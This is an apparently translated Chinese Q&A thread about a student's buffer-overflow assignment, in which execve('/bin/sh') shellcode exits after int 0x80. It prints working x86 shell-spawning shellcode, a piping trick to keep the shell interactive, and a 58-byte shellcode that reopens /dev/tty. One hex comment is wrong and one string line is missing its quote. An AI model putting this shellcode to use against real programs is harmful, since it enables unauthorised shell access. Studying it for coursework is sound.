运行shellcode时执行int 0x80指令后程序退出

信息安全 缓冲区溢出 外壳代码 x86
2021-09-11 13:25:32

在学校里,我被分配了一个执行缓冲区溢出的任务,这将执行一些 shellcode 并打开一个新的 shell。经过一番摆弄缓冲区溢出成功,当我在 GDB 中运行漏洞利用时,它说程序正在执行 /bin/dash,然后我正在利用的程序正常退出,让我没有 shell。

当运行该漏洞利用的测试程序时,它运行得很好,并给了我一个应有的外壳。当我尝试使用 shellcode 来实际利用另一个运行良好的程序时,我没有遇到任何错误,但它也不会产生新的 shell。我已经尝试修改 shellcode 以便它运行我自己编译的文件,尽管我只尝试了一些简单的打印主机名的文件,而且效果很好。如果我添加system("/bin/sh");到这样的文件中,它仍然不会像我希望的那样生成 shell。

当我使用 GDB 单步执行 shellcode 时,我看到我正在利用的易受攻击的程序在执行int 0x80指令后立即退出。我的问题有两个:为什么它会在这里退出,我能做些什么来防止它,从而产生一个我可以使用的新外壳?

这是我使用的shellcode:

"\x6a\x0b" // push byte +0xb
"\x58" // pop eax
"\x99" // cdq
"\x52" // push edx
\x68\x2f\x2f\x73\x68" // push dword 0x68732f2f (hs//)
"\x90" //nop
"\x90" //nop
"\x68\x2f\x62\x69\x6e" // push dword 0x6e69922f (nib/)
"\x89\xe3" // mov ebx, esp
"\x31\xc9" // xor ecx, ecx
"\xcd\x80" // int 0x80 
"\x90" //nop
"\x90" //nop
"\x90" //nop
"\xeb\xfb"; //jmp -4

我使用的 shellcode 可以在这里找到,所以这归功于 ipv。

3个回答

如果您从命令行运行它,并且您使用 < 从文件中提供 shellcode,则 shell 将在到达输入末尾时立即终止。如果您希望它保持键盘交互,请执行以下操作:

cat shellcode.hex - | ./vulnerable_program

- 是标准输入(在这种情况下是键盘输入),因此您可以在此之后随意输入。

由于 /bin/sh 实际上是另一个进程,gdb 无法调试该分支进程。但听起来你实际上不需要调试 /bin/sh,因为你只是在运行 shellcode。实际上,看到您的漏洞利用可以启动另一个进程应该表明您的漏洞利用是成功的。您也可以查看这篇文章:https ://stackoverflow.com/questions/2859127/shellcode-for-a-simple-stack-overflow-exploited-program-with-shell-terminates-d

使用重新打开输入的 shellcode。例如,这个 58 字节的 Marco Ivaldi 代码的修改版本就是这样做的:

"\x83\xc4\x10\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

更多信息可以在这里找到。